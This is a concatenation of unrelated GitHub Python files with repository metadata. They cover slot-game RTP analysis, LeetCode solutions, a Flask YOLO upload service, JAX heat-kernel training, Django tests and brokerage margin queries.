plt.ylabel(\"RTP\")\n\n plt.axis(ymin = AXIS_Y_MIN, ymax = AXIS_Y_MAX)\n line1, = plt.plot(total_bet_list, total_rtp_list, color = 'b',linestyle = ':')\n rtp_min_list = [rtp_min] * len(total_bet_list)\n rtp_max_list = [rtp_max] * len(total_bet_list)\n line2, = plt.plot(total_bet_list, rtp_min_list, color='g', linestyle=':')\n line3, = plt.plot(total_bet_list, rtp_max_list, color='r', linestyle=':')\n plt.legend((line1,line2,line3),[\"RTP\",str(RTX_MIN),str(RTX_MAX)])\n plt.savefig(save_pic)\n #plt.show()\n\ndef get_single_user_rtp(single_player_result_list):\n userid_list = []\n user_bet_list = []\n user_win_list = []\n user_rtp_list = []\n user_bet_count_list = []\n for v in single_player_result_list:\n if v[0] not in userid_list:\n userid_list.append(v[0])\n for v in userid_list:\n bet_list = [s[1] for s in single_player_result_list if s[0] == v]\n win_list = [s[2] for s in single_player_result_list if s[0] == v]\n total_bet = sum(bet_list)\n total_win = sum(win_list)\n user_bet_list.append(total_bet)\n user_win_list.append(total_win)\n user_rtp_list.append(1.0 * total_win/ total_bet)\n user_bet_count_list.append(len(bet_list))\n\n datalist = []\n for i in range(len(userid_list)):\n datalist.append([userid_list[i], user_rtp_list[i], user_bet_list[i], user_bet_count_list[i]])\n dataframe = pd.DataFrame(datalist, columns=['id', 'rtp', 'bet', '局数'])\n dataframe = dataframe.sort_values(by=[\"局数\"], ascending=False)\n l,m,n = 0,0,0\n for index, row in dataframe.iterrows():\n if index == 0:\n continue\n if row['rtp'] > 0.95:\n l = l + 1\n print(\"\\033[0;31;1m userid {:10d} rtp {:.3f} bet {:10d} 局数 {:6d}\\033[0m\".format(int(row['id']), row['rtp'], int(row['bet']), int(row['局数'])))\n elif row['rtp'] < 0.91:\n m = m + 1\n print(\"\\033[0;34;1m userid {:10d} rtp {:.3f} bet {:10d} 局数 {:6d}\\033[0m\".format(int(row['id']), row['rtp'], int(row['bet']) , int(row['局数'])))\n else:\n n = n + 1\n print(\" userid {:10d} rtp {:.3f} bet {:10d} 局数 {:6d}\".format(int(row['id']), row['rtp'], int(row['bet']) , int(row['局数'])))\n print(\"rtp>0.94 {:f} rtp<0.9 {:f} rtp正常 {:f}\".format(l / (l + m + n), m / (l + m + n), n / (l + m + n)))\n return\n\nif __name__ == '__main__':\n list1 = get_result_from_excel()\n total_bet_list, total_rtp_list = get_total_RTP(list1)\n res = get_single_user_rtp(list1)\n pic_name = \"C:\\\\u\\\\doc\\\\exceldata.png\"\n draw_total_RTP(total_bet_list,total_rtp_list, RTX_MIN, RTX_MAX, pic_name)\n\n","repo_name":"fanzhichao/pyslot","sub_path":"pyslots/drawpic10001fromexcel.py","file_name":"drawpic10001fromexcel.py","file_ext":"py","file_size_in_byte":4522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14066014712","text":"# link: https://leetcode.com/problems/determine-if-string-halves-are-alike/\n\nclass Solution:\n def halvesAreAlike(self, s: str) -> bool:\n vowels = ['a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U']\n n = len(s)\n count = 0\n for i in range(n // 2):\n count += int(s[i] in vowels)\n for i in range(n // 2, n):\n count -= int(s[i] in vowels)\n\n return count == 0\n\n","repo_name":"rbrn1999/leetcode-sol","sub_path":"problems/1704. Determine if String Halves Are Alike.py","file_name":"1704. Determine if String Halves Are Alike.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1465169622","text":"#encoding:utf-8\n#!/usr/bin/env python\nfrom werkzeug.utils import secure_filename\nfrom flask import Flask, render_template, jsonify, request, make_response, send_from_directory, abort\nimport time\nimport os\nimport Pic_str\nimport base64\nimport sys\nimport argparse\nfrom yolo import YOLO, detect_video\nfrom PIL import Image\nfrom keras import backend as K\n\n# import lane\n#my_yolo=None\ndef detect_img_once(yolo,input_file,output_file):\n print(input_file,output_file)\n try:\n image = Image.open(input_file)\n except:\n print('Open Error! Try again!')\n else:\n r_image = yolo.detect_image(image)\n r_image.save(output_file)\n# yolo.close_session()\n\n\n#detect_img_once(my_yolo,'/Users/zhoulu/yolov3_traffic_well/upload/2018110220352205.png','test.png')\n\napp = Flask(__name__)\nUPLOAD_FOLDER = 'upload'\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\nbasedir = os.path.abspath(os.path.dirname(__file__))\nALLOWED_EXTENSIONS = set(['png', 'jpg', 'JPG', 'PNG', 'gif', 'GIF'])\n \ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS\n \n \n@app.route('/upload')\ndef upload_test():\n return render_template('up.html')\n \n \nmy_yolo=YOLO()\n# 上传文件\n@app.route('/up_photo', methods=['POST'], strict_slashes=False)\ndef api_upload():\n file_dir = os.path.join(basedir, app.config['UPLOAD_FOLDER'])\n if not os.path.exists(file_dir):\n os.makedirs(file_dir)\n f = request.files['photo']\n if f and allowed_file(f.filename):\n fname = secure_filename(f.filename)\n print(fname) \n ext = fname.rsplit('.', 1)[1]\n new_filename = Pic_str.Pic_str().create_uuid() + '.' + ext\n file_pwd = os.path.join(file_dir,new_filename)\n f.save(file_pwd)\n out_file_pwd = os.path.join(file_dir,\"out_\"+new_filename)\n detect_img_once(my_yolo,file_pwd,out_file_pwd)\n# K.clear_session()\n return show_pic(out_file_pwd)\n return jsonify({\"success\": 0, \"msg\": \"上传成功\"})\n else:\n return jsonify({\"error\": 1001, \"msg\": \"上传失败\"})\n \n@app.route('/download/', methods=['GET'])\ndef download(filename):\n if request.method == \"GET\":\n if os.path.isfile(os.path.join('upload', filename)):\n return send_from_directory('upload', filename, as_attachment=True)\n pass\n \ndef show_pic(filename):\n image_data = open(os.path.join(filename), \"rb\").read()\n response = make_response(image_data)\n response.headers['Content-Type'] = 'image/png'\n return response\n\n# show photo\n@app.route('/show/', methods=['GET'])\ndef show_photo(filename):\n file_dir = os.path.join(basedir, app.config['UPLOAD_FOLDER'])\n if request.method == 'GET':\n if filename is None:\n pass\n else:\n image_data = open(os.path.join(file_dir, '%s' % filename), \"rb\").read()\n response = make_response(image_data)\n response.headers['Content-Type'] = 'image/png'\n return response\n else:\n pass\n \n \nif __name__ == '__main__':\n detect_img_once(my_yolo,'/Users/zhoulu/yolov3_traffic_well/upload/2018110220352205.png','test.png')\n app.run(debug=False,threaded=False)\n","repo_name":"zhoul14/yolov3_traffic_well","sub_path":"my_flask.py","file_name":"my_flask.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"37640359642","text":"from this import d\nimport ml_collections as mlc\nfrom ml_collections import config_flags\nfrom flax.training.train_state import TrainState\nfrom flax.training import checkpoints\nfrom pathlib import Path\nimport numpy as np\nfrom functools import partial\nfrom absl import logging\nfrom absl import app\nfrom absl import flags\nfrom jax import lax, random, vmap, jacfwd, hessian, numpy as jnp\nimport jax\nimport optax\nimport torch\nimport time\n\nfrom heat_explainer.train.predict import restore_checkpoints as predict_restore\nfrom heat_explainer.train.vae import restore_checkpoints as vae_restore\nfrom heat_explainer.train.immersion import Immersion\nfrom heat_explainer.trainutils.utils import save_image, warmup_cos_decay_lr_schedule_fn, to_heatmap\nfrom heat_explainer.models.base import l2_loss, classification_loss\nfrom heat_explainer.models.regressor import CondImageRegressor\nfrom heat_explainer.datautils.dataloader import get_dataset\nfrom heat_explainer.datautils.dataloader import SyntheticDataset, SyntheticYFDataset\nfrom heat_explainer.train.decompose import laplacian_decompose\n\n\n\n@jax.jit\ndef train_step(state, predictor, x_start, x_step):\n def loss_fn(params):\n output = state.apply_fn({'params': params}, x_start)\n label = predictor.apply_fn({'params': predictor.params}, x_step)\n loss = classification_loss(output, label)\n return loss, (label, output)\n grad_fn = jax.value_and_grad(loss_fn, has_aux=True)\n aux, grads = grad_fn(state.params)\n state = state.apply_gradients(grads=grads)\n loss = aux[0]\n label, output = aux[1]\n return state, loss, label, output\n\ndef solve_heat_kernel(config: mlc.ConfigDict, workdir: str):\n vaedir = Path(workdir) / 'vae'\n predictordir = Path(workdir) / 'predictor'\n ckptdir = Path(workdir) / 'heatkernel'\n imagedir = Path(workdir) / 'heatkernel' / 'images'\n ckptdir.mkdir(parents=True, exist_ok=True)\n imagedir.mkdir(parents=True, exist_ok=True)\n\n key = random.PRNGKey(14)\n\n encode_z = np.load(vaedir / 'encode_z.npy')\n n, d, b, N = *encode_z.shape, config.metric_batch, config.N_train\n times = config.numsteps // config.stride\n Z_start = encode_z[random.randint(key, (N,), 0, n)]\n\n predictor = predict_restore(config, predictordir)\n if config.tag == 'synthetic':\n s = SyntheticDataset(config.image_size, 6, 60000, config.datadir, '/train', generate=False)\n decoder = s.decode_jax\n else:\n vae = vae_restore(config, vaedir)\n @jax.jit\n def decoder(z): return vae.apply_fn({'params':vae.params}, z, key, mode='decode')\n manifold = Immersion(decoder)\n\n scale = -np.inf\n for j in range(0, n, b):\n _, logdet = jnp.linalg.slogdet(manifold.metric_tensor(encode_z[j:j+b]))\n scale = max(scale, logdet.max())\n scale = np.exp(-scale / config.vae_d)\n logging.info(\"Rescaling embedded manifold by {:.3f}\".format(scale))\n\n\n logging.info(\"Generating random walk samples\")\n key, subkey = random.split(key)\n z_sample = encode_z[np.random.choice(n, config.generate_rw_size)]\n z_steps = manifold.random_walk(subkey, z_sample, \n step_size = config.stepsize, \n num_steps = config.numsteps,\n scale = scale)[::config.generate_rw_stride]\n z_steps = jnp.transpose(z_steps,(1,0,2)).reshape(-1, d)\n x_steps = decoder(z_steps)\n save_image(x_steps, imagedir / 'generate_random_walk.png', \n nrow=config.numsteps // config.generate_rw_stride)\n\n Z_prev = Z_start\n heatkernel = predict_restore(config, predictordir)\n for step in range(1, times+1):\n base_learning_rate = config.learning_rate * config.batch_size / 256.\n steps_per_epoch = N // b\n learning_rate_fn = warmup_cos_decay_lr_schedule_fn(base_learning_rate, \n config.heat_epochs, 1, \n steps_per_epoch)\n tx = optax.adamw(learning_rate=learning_rate_fn, weight_decay=config.weight_decay)\n heatkernel = TrainState.create(apply_fn=heatkernel.apply_fn, \n params=heatkernel.params, tx=tx)\n\n Z_step = []\n for i, batch_idx in enumerate(range(0, N, b)):\n key, subkey = random.split(key)\n indices = np.arange(N)[batch_idx : batch_idx+b]\n z_step = manifold.random_walk(subkey, Z_prev[indices, :],\n scale = scale,\n step_size = config.stepsize,\n num_steps = config.stride)[-1]\n z_start = Z_start[indices, :]\n Z_step.append(z_step)\n\n x_step, x_start = decoder(z_step), decoder(z_start)\n heatkernel, loss, label, output = train_step(heatkernel, predictor, x_start, x_step)\n if i % config.log_every_steps == 0:\n logging.info('Train Epoch: {} [\\t{}/{} ({:.0f}%)] \\tMSE: {:.9f}'.format(\n 0, i * b, N,\n 100. * i * b / N, loss))\n\n Z_step = jnp.concatenate(Z_step)\n for epoch in range(1, config.heat_epochs):\n permutation = np.random.permutation(N)\n for i,batch_idx in enumerate(range(0,N,b)):\n indices = permutation[batch_idx : batch_idx + b]\n z_step, z_start = Z_step[indices,:], Z_start[indices,:]\n x_step, x_start = decoder(z_step), decoder(z_start)\n heatkernel, loss, label, output = train_step(heatkernel, predictor, x_start, x_step)\n\n if i % config.log_every_steps == 0:\n logging.info('Train Epoch: {} [\\t{}/{} ({:.0f}%)] \\tMSE: {:.9f}'.format(\n epoch, i * b, N,\n 100. * i * b / N, loss))\n checkpoints.save_checkpoint(ckptdir, \n target=heatkernel, \n step=step, \n prefix='checkpoint_', keep=times, overwrite=True)\n Z_prev = Z_step\n\n\ndef brownian(rng, x, t):\n t = jnp.asarray(t, dtype=x.dtype)\n prefix = jnp.broadcast_shapes(t.shape, x.shape[:-3])\n noise = jax.random.normal(rng, prefix + x.shape[-3:])\n xt = x + noise * jnp.expand_dims(t, axis=(-3, -2, -1))\n return xt\n\ndef solve_heat_euclidean(config: mlc.ConfigDict, workdir: str):\n predictordir = Path(workdir) / 'predictor'\n ckptdir = Path(workdir) / 'heatkernel'\n imagedir = Path(workdir) / 'heatkernel' / 'images'\n ckptdir.mkdir(parents=True, exist_ok=True)\n imagedir.mkdir(parents=True, exist_ok=True)\n\n key = random.PRNGKey(14)\n\n trainset, testset = get_dataset(config)\n trainloader = torch.utils.data.DataLoader(trainset, batch_size=config.metric_batch, shuffle=True, num_workers=8, drop_last=True)\n\n b, N = config.metric_batch, config.N_train\n times = config.numsteps // config.stride\n\n predictor = predict_restore(config, predictordir)\n heatkernel = predict_restore(config, predictordir)\n\n for step in range(1, times+1):\n base_learning_rate = config.learning_rate * config.batch_size / 256.\n steps_per_epoch = N // b\n learning_rate_fn = warmup_cos_decay_lr_schedule_fn(base_learning_rate, \n config.heat_epochs, 1, \n steps_per_epoch)\n tx = optax.adamw(learning_rate=learning_rate_fn, weight_decay=config.weight_decay)\n heatkernel = TrainState.create(apply_fn=heatkernel.apply_fn, \n params=heatkernel.params, tx=tx)\n\n for epoch in range(config.heat_epochs):\n for i, (x_start,_) in enumerate(trainloader):\n key, subkey = random.split(key)\n x_start = (x_start.detach().numpy()).astype(jnp.float32)\n x_start = config.transform(x_start)\n \n t = np.ones(size=(b,)) * config.stepsize * step\n x_step = brownian(subkey, x_start, t)\n heatkernel, loss, label, output = train_step(heatkernel, predictor, x_start, x_step)\n\n if i % config.log_every_steps == 0:\n logging.info('Train Epoch: {} [\\t{}/{} ({:.0f}%)] \\tMSE: {:.9f}'.format(\n epoch, i * b, N,\n 100. * i * b / N, loss))\n\n checkpoints.save_checkpoint(ckptdir, \n target=heatkernel, \n step=step, \n prefix='checkpoint_', keep=times, overwrite=True)\n \ndef test(config, workdir):\n\n _, testset = get_dataset(config)\n testloader = torch.utils.data.DataLoader(testset, batch_size=config.test_batch, shuffle=True, num_workers=8, drop_last=True)\n test_batch, test_label = next(iter(testloader))\n test_batch = config.transform((test_batch.detach().numpy()).astype(jnp.float32))\n test_label = config.transform_target(test_label.detach().numpy())\n\n savedir = Path(workdir) / 'results'\n \n decomp_all = laplacian_decompose(test_batch, test_label, config, workdir)\n b, r, t = decomp_all.shape[:-3]\n for j in range(b):\n original = test_batch[j]\n if config.channels==1: original = jnp.tile(original, (1,1,3))\n if r>1: \n padding = jnp.ones((r-1, config.image_size, config.image_size, 3))\n original = jnp.concatenate([original[jnp.newaxis, ...], padding])\n save = jnp.concatenate([original[:, jnp.newaxis, ...], decomp_all[j]], axis=1)\n\n save_image(save.reshape(-1, config.image_size, config.image_size, 3), \n savedir / f'heat_decomp_visualize_{j}_label_{test_label[j]}.png', nrow = t+1)\n\n \ndef main(argv):\n \n if len(argv) > 1:\n raise app.UsageError('Too many command-line arguments.')\n\n logging.info('JAX process: %d / %d', jax.process_index(), jax.process_count())\n logging.info('JAX local devices: %r', jax.local_devices())\n\n #solve_heat_kernel(FLAGS.config, FLAGS.workdir)\n test(FLAGS.config, FLAGS.workdir)\n\n\nif __name__ == '__main__':\n FLAGS = flags.FLAGS\n\n flags.DEFINE_string('workdir', None, 'Directory to store model data.')\n config_flags.DEFINE_config_file(\n 'config', None, 'File path to the training hyperparameter configuration.',\n lock_config=True)\n flags.mark_flags_as_required(['config', 'workdir'])\n app.run(main) \n \n\n","repo_name":"XiaRui1996/heat-explainer","sub_path":"train/heat.py","file_name":"heat.py","file_ext":"py","file_size_in_byte":10610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26504612222","text":"import pandas as pd\r\nimport csv\r\n\r\n# function to populate courses from Excel file\r\ndef populate_course(file_path):\r\n df = pd.read_excel(file_path)\r\n courses = []\r\n for index, row in df.iterrows():\r\n course_code = row['Course Code']\r\n course_name = row['Course Name']\r\n section_id = row['Section ID']\r\n day = row['Day']\r\n slots = row['Slots']\r\n\r\n # check if the course already exists\r\n course = None\r\n for c in courses:\r\n if c.course_code == course_code:\r\n course = c\r\n break\r\n\r\n if course is None:\r\n course = Course(course_code, course_name)\r\n courses.append(course)\r\n\r\n section = Section(section_id, day, slots)\r\n course.add_section(section)\r\n\r\n return courses\r\n\r\n# main function\r\ndef main():\r\n # read Excel file\r\n file_path = \"path/to/your/excel/file.xlsx\"\r\n courses = populate_course(file_path)\r\n\r\n # create timetable\r\n timetable = Timetable()\r\n for course in courses:\r\n timetable.enroll_course(course)\r\n\r\n # check for clashes\r\n timetable.check_clashes()\r\n\r\n # export timetable to CSV file\r\n timetable.export_to_csv(\"path/to/your/output/csv/file.csv\")\r\n\r\n # print courses and their sections\r\n for course in courses:\r\n print(f\"{course.course_code} - {course.course_name}\")\r\n for section in course.get_sections():\r\n print(f\" {section.section_id} - {section.day} - {section.slots}\")\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"Darshbir/dvm-task1","sub_path":"Backed 2023A8PS1264P/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21647658512","text":"from django.test import Client, TestCase\nfrom django.urls import reverse\n\nfrom ..forms import PostForm\nfrom ..models import Post, Group, User\n\n\nclass PostFormTests(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.user = User.objects.create_user(username='TestUser')\n cls.group = Group.objects.create(\n title='Тестовая группа',\n slug='test-slug',\n description='Тестовое описание',\n )\n cls.post = Post.objects.create(\n author=cls.user,\n text='Тестовый текст',\n group=cls.group,\n )\n cls.form = PostForm()\n\n def setUp(self):\n self.authorized_client = Client()\n self.authorized_client.force_login(self.user)\n\n def test_create_post(self):\n post_count = Post.objects.count()\n form_data = {\n 'group': self.group.pk,\n 'text': 'Тестовый текст',\n }\n response = self.authorized_client.post(\n reverse('posts:post_create'),\n data=form_data,\n follow=True\n )\n self.assertRedirects(response, reverse('posts:profile',\n kwargs={'username': self.post.author.username}))\n self.assertEqual(Post.objects.count(), post_count + 1)\n\n def test_edit_post(self):\n new_group = Group.objects.create(\n title='Новая тестовая группа',\n slug='new-test-slug',\n description='Новое тестовое описание',\n )\n form_data = {\n 'group': new_group.pk,\n 'text': 'Новый тестовый текст',\n }\n response = self.authorized_client.post(\n reverse('posts:post_edit', kwargs={'post_id': f'{self.post.id}'}),\n data=form_data,\n follow=True\n )\n self.assertRedirects(response, reverse('posts:post_detail',\n kwargs={'post_id': self.post.id}))\n new_version = Post.objects.filter(id=self.post.id)[0]\n self.assertEqual(new_version.text, 'Новый тестовый текст')\n self.assertEqual(new_version.group, new_group)\n","repo_name":"StanislavBerezovskii/hw03_forms","sub_path":"yatube/posts/tests/test_forms.py","file_name":"test_forms.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29509248222","text":"Import('env capture_output')\n\nllvm_config = env.get('LLVM_CONFIG')\nif llvm_config == None:\n Return(\"\")\n\nenv.Append(CXXFLAGS=env['LLVM_CXX_FLAGS'].split(\" \"))\nenv.Append(LINKFLAGS=env['LLVM_LD_FLAGS'].split(\" \"))\nenv.Append(LIBPATH=[env['BUILD_DIR']])\nenv.Append(RPATH=[env['LLVM_LIB_DIR']])\nenv.Append(RPATH=[env['BUILD_DIR'].abspath])\n\nsources = [\n 'Convert_EBPF.cpp',\n]\n\nlib_nanotube_env = env.Clone()\nlib_nanotube_env.Append(CPPPATH=[\n \".\",\n \"../include\",\n \"../back_end\",\n])\nlib_nanotube_env.SharedLibrary('ebpf_passes', sources)\n\nprog_libs = capture_output([\n llvm_config, '--libs',\n 'Core',\n 'Support',\n])\n\nprog_env = env.Clone()\nprog_env.Append(CPPPATH=[\".\"])\nprog_env.Append(LIBS=['elf'])\nprog_env.Append(LIBS=prog_libs.split(\" \"))\nprog_env.Program('${BUILD_TOP}/bpf-compile',\n ['nanotube-ebpf.cc'])\n","repo_name":"Xilinx/nanotube","sub_path":"front_end/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":92,"dataset":"github-code","pt":"75"} +{"seq_id":"73386861363","text":"class Solution:\r\n def compareVersion(self, version1, version2):\r\n \"\"\"\r\n :type version1: str\r\n :type version2: str\r\n :rtype: int\r\n \"\"\"\r\n\r\n s1 = version1.split('.')\r\n s2 = version2.split('.')\r\n\r\n length = min(len(s1), len(s2))\r\n\r\n #Compare the head part\r\n for i in range(length):\r\n if int(s1[i]) > int(s2[i]):\r\n return 1\r\n \r\n if int(s1[i]) < int(s2[i]):\r\n return -1\r\n\r\n\r\n #Compare later part of the longer version number\r\n if len(s1) > len(s2):\r\n #If all version number in the end is 0.0.0..., two version is the same, else the longer one is larger\r\n for num in s1[len(s2) : ]:\r\n if int(num) != 0: return 1\r\n return 0\r\n elif len(s1) < len(s2):\r\n #If all version number in the end is 0.0.0..., two version is the same, else the longer one is larger\r\n for num in s2[len(s1) : ]:\r\n if int(num) != 0: return -1\r\n return 0\r\n else:\r\n return 0 \r\n\r\nsol = Solution()\r\nprint(sol.compareVersion('1.1', '1.01.0'))\r\n","repo_name":"MrGouIsTaken/LeetCode-Solutions","sub_path":"code/ex165.py","file_name":"ex165.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11933062606","text":"import numpy as np\nimport pytest\nimport torch\n\nfrom mmcv.utils import IS_CUDA_AVAILABLE\n\n_USING_PARROTS = True\ntry:\n from parrots.autograd import gradcheck\nexcept ImportError:\n from torch.autograd import gradcheck\n\n _USING_PARROTS = False\n\ninputs = [([[[[1., 2.], [3., 4.]]]], [[0., 0., 0., 1., 1.]]),\n ([[[[1., 2.], [3., 4.]], [[4., 3.], [2.,\n 1.]]]], [[0., 0., 0., 1., 1.]]),\n ([[[[1., 2., 5., 6.], [3., 4., 7., 8.], [9., 10., 13., 14.],\n [11., 12., 15., 16.]]]], [[0., 0., 0., 3., 3.]])]\noutputs = [\n ([[[[1.75, 2.25], [2.75, 3.25]]]], [[[[1., 1.],\n [1., 1.]]]], [[0., 2., 4., 2., 4.]]),\n ([[[[1.75, 2.25], [2.75, 3.25]],\n [[3.25, 2.75], [2.25, 1.75]]]], [[[[1., 1.], [1., 1.]],\n [[1., 1.],\n [1., 1.]]]], [[0., 0., 0., 0., 0.]]),\n ([[[[3.75, 6.91666651],\n [10.08333302,\n 13.25]]]], [[[[0.11111111, 0.22222224, 0.22222222, 0.11111111],\n [0.22222224, 0.444444448, 0.44444448, 0.22222224],\n [0.22222224, 0.44444448, 0.44444448, 0.22222224],\n [0.11111111, 0.22222224, 0.22222224, 0.11111111]]]],\n [[0.0, 3.33333302, 6.66666603, 3.33333349, 6.66666698]])\n]\n\n\nclass TestPrRoiPool:\n\n @pytest.mark.parametrize('device', [\n pytest.param(\n 'cuda',\n marks=pytest.mark.skipif(\n not IS_CUDA_AVAILABLE, reason='requires CUDA support'))\n ])\n def test_roipool_gradcheck(self, device):\n from mmcv.ops import PrRoIPool\n pool_h = 2\n pool_w = 2\n spatial_scale = 1.0\n\n for case in inputs:\n np_input = np.array(case[0], dtype=np.float32)\n np_rois = np.array(case[1], dtype=np.float32)\n\n x = torch.tensor(np_input, device=device, requires_grad=True)\n rois = torch.tensor(np_rois, device=device)\n\n froipool = PrRoIPool((pool_h, pool_w), spatial_scale)\n\n if _USING_PARROTS:\n gradcheck(froipool, (x, rois), no_grads=[rois])\n else:\n gradcheck(froipool, (x, rois), eps=1e-2, atol=1e-2)\n\n def _test_roipool_allclose(self, device, dtype=torch.float):\n from mmcv.ops import prroi_pool\n pool_h = 2\n pool_w = 2\n spatial_scale = 1.0\n\n for case, output in zip(inputs, outputs):\n np_input = np.array(case[0], dtype=np.float32)\n np_rois = np.array(case[1], dtype=np.float32)\n np_output = np.array(output[0], dtype=np.float32)\n np_input_grad = np.array(output[1], dtype=np.float32)\n np_rois_grad = np.array(output[2], dtype=np.float32)\n\n x = torch.tensor(\n np_input, dtype=dtype, device=device, requires_grad=True)\n rois = torch.tensor(\n np_rois, dtype=dtype, device=device, requires_grad=True)\n\n output = prroi_pool(x, rois, (pool_h, pool_w), spatial_scale)\n output.backward(torch.ones_like(output))\n assert np.allclose(output.data.cpu().numpy(), np_output, 1e-3)\n assert np.allclose(x.grad.data.cpu().numpy(), np_input_grad, 1e-3)\n assert np.allclose(rois.grad.data.cpu().numpy(), np_rois_grad,\n 1e-3)\n\n @pytest.mark.parametrize('device', [\n pytest.param(\n 'cuda',\n marks=pytest.mark.skipif(\n not IS_CUDA_AVAILABLE, reason='requires CUDA support'))\n ])\n def test_roipool_allclose_float(self, device):\n self._test_roipool_allclose(device, dtype=torch.float)\n","repo_name":"open-mmlab/mmcv","sub_path":"tests/test_ops/test_prroi_pool.py","file_name":"test_prroi_pool.py","file_ext":"py","file_size_in_byte":3717,"program_lang":"python","lang":"en","doc_type":"code","stars":5327,"dataset":"github-code","pt":"75"} +{"seq_id":"43051273043","text":"# -*- coding: utf-8 -*-\n# @Time : 2020/8/25 17:37\n# @Author : jiashu.zhong\n# @Site : \n# @File : about_money_and_share.py\nimport json\nimport os\n\nfrom Utils.connect_oracle import ConnectOracle\nimport logging\nimport re\n\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s %(message)s :\\n')\n# 声明了一个 Log 对象\nlog = logging.getLogger(__name__)\n\n\ndef get_root_dir():\n return os.path.dirname(os.path.dirname(__file__))\n\ndef get_dir():\n return os.path.dirname(__file__)\n\nclass GetMoneyAndShare:\n def __init__(self):\n self.connect = ConnectOracle()\n\n def get_book_balance(self, asset_account_id):\n \"\"\"\n 获取账面余额\n :return:\n \"\"\"\n money_balance_sql = 'select a.money_current_balance,a.money_in_today,a.money_out_today,a.cost_fee_today,a.penalty,a.short_penalty from HSdc.MONEY_ACCOUNT_BALANCE a where asset_account_id = {} and money_type = 4'.format(\n asset_account_id)\n money_balance = self.connect.get_fetchone(money_balance_sql)\n money_current_balance = money_balance[0]\n money_in_today = money_balance[1]\n money_out_today = money_balance[2]\n cost_fee_today = money_balance[3]\n penalty = money_balance[4]\n short_penalty = money_balance[5]\n book_balance = money_current_balance + money_in_today - money_out_today - cost_fee_today - penalty - short_penalty\n return book_balance\n\n def get_account_holding(self, asset_account_id):\n \"\"\"\n 获取客户持仓情况:期权持仓:可用数量(可平仓数量),账面数量,其他证券持仓可用数量,账面数量\n :param asset_account_id:\n :return: option_holding_dict,stock_holding_dict\n \"\"\"\n holding_sql = 'select a.current_share,a.today_trade_buy_share,a.today_trade_sell_share,a.trade_freeze_balance_share,a.law_freeze_balance_share,a.other_freeze_balance_share,a.short_pre_close_share,a.asset_account_id,a.symbol,a.security_type,a.position_status from hsdc.us_holding a where a.asset_account_id= {} and a.position_status<>0'.format(\n asset_account_id)\n holding_dict = dict() # {symbol:[可用数量,账面数量]}\n stock_holding_dict = dict()\n option_holding_dict = dict()\n account_holding_data = self.connect.get_fetchall(holding_sql)\n for data in account_holding_data:\n current_share = data[0]\n today_trade_buy_share = data[1]\n today_trade_sell_share = data[2]\n trade_freeze_balance_share = data[3]\n law_freeze_balance_share = data[4]\n other_freeze_balance_share = data[5]\n short_pre_close_share = data[6]\n symbol = data[8]\n security_type = data[-2]\n # 总冻结数量 = 【交易冻结】+【司法冻结】+【其他冻结】\n freeze_share = trade_freeze_balance_share + law_freeze_balance_share + other_freeze_balance_share\n # 账面数量 = 【期初数量】-【当日卖出】+【当日买入】\n book_balance = current_share - today_trade_sell_share + today_trade_buy_share\n if data[-1] == 1:\n # 头寸状态为1,做多时可用数量=账面数量 - 总冻结数\n available_share = book_balance - freeze_share\n elif data[-1] == 2:\n # 头寸状态为2,做空时可用数量= - 账面数量 - 【做空预平仓】\n available_share = - book_balance - short_pre_close_share\n if data[-2] == 8192:\n option_holding_dict[symbol] = {\"available_share\": available_share, \"book_balance\": book_balance,\n \"position_status\": data[-1]}\n else:\n stock_holding_dict[symbol] = {\"available_share\": available_share, \"book_balance\": book_balance,\n \"position_status\": data[-1]}\n holding_dict[symbol] = {\"available_share\": available_share, \"book_balance\": book_balance}\n return option_holding_dict, stock_holding_dict, holding_dict\n\n def get_stock_margin_ratio(self, asset_account_id):\n \"\"\"\n 获取客户持仓证券的孖展初始保证金比率\n :param asset_account_id:\n :return:\n \"\"\"\n margin_ratio_dict = dict()\n short_ratio_dict = dict()\n stock_names = self.get_account_holding(asset_account_id)[1].keys()\n for stock_name in stock_names:\n stock_margin_ratio_sql = \"\"\"select a.stock_code,a.margin_switch,a.init_margin_ratio,a.keep_margin_ratio,a.short_switch,a.init_short_margin_ratio,a.keep_short_margin_ratio from hsdc.margin_ratio a where stock_code='{}'\"\"\".format(\n stock_name)\n stock_margin_ratio = self.connect.get_fetchone(stock_margin_ratio_sql)\n\n if stock_margin_ratio is None:\n margin_ratio_dict[stock_name] = {\"init_margin_ratio\": 1,\n \"keep_margin_ratio\": 1}\n log.info(\"\\n {} 在孖展比率表没有记录\".format(stock_name))\n else:\n margin_switch = stock_margin_ratio[1]\n init_margin_ratio = stock_margin_ratio[2]\n keep_margin_ratio = stock_margin_ratio[3]\n short_switch = stock_margin_ratio[4]\n init_short_margin_ratio = stock_margin_ratio[5]\n keep_short_margin_ratio = stock_margin_ratio[6]\n if margin_switch == 1:\n margin_ratio_dict[stock_name] = {\"init_margin_ratio\": init_margin_ratio,\n \"keep_margin_ratio\": keep_margin_ratio}\n else:\n margin_ratio_dict[stock_name] = {\"init_margin_ratio\": 1,\n \"keep_margin_ratio\": 1}\n if short_switch == 1:\n short_ratio_dict[stock_name] = 